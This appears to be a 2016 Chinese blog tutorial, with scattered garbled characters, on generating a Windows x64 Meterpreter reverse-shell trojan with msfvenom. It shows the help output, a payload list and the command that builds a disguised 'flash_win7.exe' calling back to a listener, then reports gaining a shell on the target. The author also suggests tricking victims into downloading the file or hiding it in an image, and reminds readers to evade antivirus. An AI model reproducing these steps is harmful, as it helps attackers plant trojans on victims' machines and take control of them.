因?yàn)楸荣愋枰詫W(xué)了一下msfvenom摆碉，可能會斷斷續(xù)續(xù)或者不完整，僅作參考脓豪。

在kali2.0的環(huán)境上巷帝，因?yàn)閙sfpayload沒有了，被整合進(jìn)了msfvenom扫夜，所以這就只寫一些關(guān)于msfvenom的東西楞泼。
這里就只是記錄下生成一個程序的過程。

msfvenom

msfvenom是msfpayload,msfencode的結(jié)合體笤闯，可利用msfvenom生成木馬程序,并在目標(biāo)機(jī)上執(zhí)行,在本地監(jiān)聽上線

0x00

首先還是得打開postgresql
root@kali:~# service postgresql start

然后讓我們看看它有哪些功能

root@kali:~# msfvenom 
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
    -f, --format        <format>     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder       <encoder>    The encoder to use
    -a, --arch          <arch>       The architecture to use
        --platform      <platform>   The platform of the payload
        --help-platforms             List available platforms
    -s, --space         <length>     The maximum size of the resulting payload
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
    -i, --iterations    <count>      The number of times to encode the payload
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out           <path>       Save the payload
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

部分參數(shù)
-p 選擇一個載荷堕阔，或者說一個模塊吧。
-l 載荷列表
-f 生成的文件格式
-e 編碼方式
-i 編碼次數(shù)
-b 在生成的程序中避免出現(xiàn)的值
-h 幫助

說到文件格式颗味，不同的平臺需要的不同超陆，來看看支持生成的格式

root@kali:~# msfvenom --help-formats
Error: Executable formats
    asp, aspx, aspx-exe, dll, elf, elf-so, 
exe, exe-only, exe-service, exe-small, hta-psh, 
loop-vbs, macho, msi, msi-nouac, osx-app, psh, 
psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats
    bash, c, csharp, dw, dword, hex, java, js_be, js_le, 
num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

0x01

讓我們正式開始吧，因?yàn)槲业哪繕?biāo)平臺是一個win7 64 位浦马，所以要找一個相應(yīng)的載荷时呀。

root@kali:~# msfvenom -l | grep windows | grep x64 | grep tcp
    windows/x64/meterpreter/bind_ipv6_tcp               Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for an IPv6 connection (Windows x64)
    windows/x64/meterpreter/bind_ipv6_tcp_uuid          Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for an IPv6 connection with UUID Support (Windows x64)
    windows/x64/meterpreter/bind_tcp                    Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for a connection (Windows x64)
    windows/x64/meterpreter/bind_tcp_uuid               Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for a connection with UUID Support (Windows x64)
    windows/x64/meterpreter/reverse_tcp                 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker (Windows x64)
    windows/x64/meterpreter/reverse_tcp_uuid            Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker with UUID Support (Windows x64)
    windows/x64/meterpreter_bind_tcp                    Connect to victim and spawn a Meterpreter shell
    windows/x64/meterpreter_reverse_ipv6_tcp            Connect back to attacker and spawn a Meterpreter shell
    windows/x64/meterpreter_reverse_tcp                 Connect back to attacker and spawn a Meterpreter shell
    windows/x64/powershell_bind_tcp                     Listen for a connection and spawn an interactive powershell session
    windows/x64/powershell_reverse_tcp                  Listen for a connection and spawn an interactive powershell session
    windows/x64/shell/bind_ipv6_tcp                     Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
    windows/x64/shell/bind_ipv6_tcp_uuid                Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
    windows/x64/shell/bind_tcp                          Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
    windows/x64/shell/bind_tcp_uuid                     Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
    windows/x64/shell/reverse_tcp                       Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
    windows/x64/shell/reverse_tcp_uuid                  Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
    windows/x64/shell_bind_tcp                          Listen for a connection and spawn a command shell (Windows x64)
    windows/x64/shell_reverse_tcp                       Connect back to attacker and spawn a command shell (Windows x64)
    windows/x64/vncinject/bind_ipv6_tcp                 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
    windows/x64/vncinject/bind_ipv6_tcp_uuid            Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
    windows/x64/vncinject/bind_tcp                      Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)
    windows/x64/vncinject/bind_tcp_uuid                 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
    windows/x64/vncinject/reverse_tcp                   Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)
    windows/x64/vncinject/reverse_tcp_uuid              Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)

生成程序（默認(rèn)路徑是在home下）

root@kali:~# msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.80.142 lport=443 -f exe X > flash_win7.exe 
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1188911 bytes

生成的程序

至于怎么弄到對方機(jī)器上去就不贅述了，你可以直接發(fā)晶默，也可以誘騙下載谨娜，也可以放進(jìn)圖片里...
當(dāng)然，記得做免殺磺陡。

我為了簡單就直接通過網(wǎng)頁了

網(wǎng)頁代碼

通過msfconsole開始監(jiān)聽

監(jiān)聽

當(dāng)目標(biāo)運(yùn)行程序的時候趴梢，便能獲得shell

成功獲取shell

在C盤創(chuàng)建一個文件夾 取名為 ‘1’

05.jpg

刪除它

06.jpg

可以看到我們能在根目錄下作修改，說明權(quán)限還是比較高的币他。想做什么就自由發(fā)揮了坞靶。

0x02

打完收工，吃飯去了圆丹。
關(guān)機(jī)

07.jpg

也可看下大神的教程
http://www.i0day.com/1173.html

2016年5月6日